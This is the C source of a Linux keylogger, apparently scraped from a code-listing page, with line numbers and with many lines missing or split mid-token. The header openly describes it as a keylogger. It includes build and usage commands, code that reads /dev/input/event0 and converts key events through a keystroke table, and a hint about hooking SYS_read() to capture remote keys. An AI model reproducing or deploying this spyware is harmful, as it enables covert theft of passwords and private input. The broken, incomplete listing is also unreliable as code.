3 * THX2: Dayvee (Idea), joe@aol.com (Reversing),
4 * -=Punka][Tux=- (BugReport),
5 * Warriant's code (Inspiration), Linus (Linux)
7 * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
8 * In other words: this is keylogger for Linux.
9 * If you have more keyboards, try other events (event1, ...eventX).
10 * Only local keyboard is supported,
11 * remote keys can be captured by hooking on SYS_read() system call.
14 * - gcc argv[0].c -o argv[0]
16 * Usage (all examples do the same):
17 * - cat /dev/input/event0 | argv[0]
18 * - argv[0] /dev/input/event0
21 * Adding new keystroke values:
22 * - <XXX> = keystroke id
23 * - set MAXSTROKE to 0 to get only keystroke values
26 * - chown & chmod /dev/input/event0
27 * - don't give cheap root to everybody
35 #define DEFAULTINPUT "/dev/input/event0"
37 typedef struct __attribute__((__packed__
)) input_event_s
{
44 #define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted)
45 char *strokes
[] = { //KeyStroke DB for english QUERTZ keyboard:
46 "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]",
47 "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n",
48 "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\",
49 "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ",
50 "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]",
51 "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0",
52 "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]",
53 "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n",
54 "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<101>",
55 "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
56 "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
57 "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]"
59 [CAPSL][ESC] = CapsLock On
60 [CAPSL] = CapsLock Off
61 [NUML]<0> = NumLock On
72 static void sigint_handler(int signo
) {
76 int main(int argc
, char *argv
[]) {
79 signal(SIGINT
, &sigint_handler
);
80 signal(SIGTERM
, &sigint_handler
);
81 signal(SIGQUIT
, &sigint_handler
);
82 signal(SIGSEGV
, &sigint_handler
);
86 printf("Reading data from: ");
87 if(argc
> 1 && argv
[1][0] != '-') {
88 ftest
= freopen(argv
[1], "rb", stdin
);
89 printf("%s\n", argv
[1]);
91 if(argc
> 1 && argv
[1][0] == '-') {
92 ftest
= freopen(DEFAULTINPUT
, "rb", stdin
);
93 printf("%s\n", DEFAULTINPUT
);
96 printf("STDIN\n", argv
[1]);
100 printf("Failed to open file!\n\n");
103 setbuf(stdout
, NULL
);
105 printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes
), MAXSTROKE
);
107 input_event_t input_event
;
109 read(0, &input_event
, sizeof(input_event_t
));
110 if(input_event
.type
!= 1 || input_event
.value
!= 1) continue;
111 //printf("\nTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.type, input_event.code, input_event.value);
112 if(input_event
.code
<= MAXSTROKE
) {
113 printf("%s", strokes
[input_event
.code
]);
115 printf("<%d>", input_event
.code
);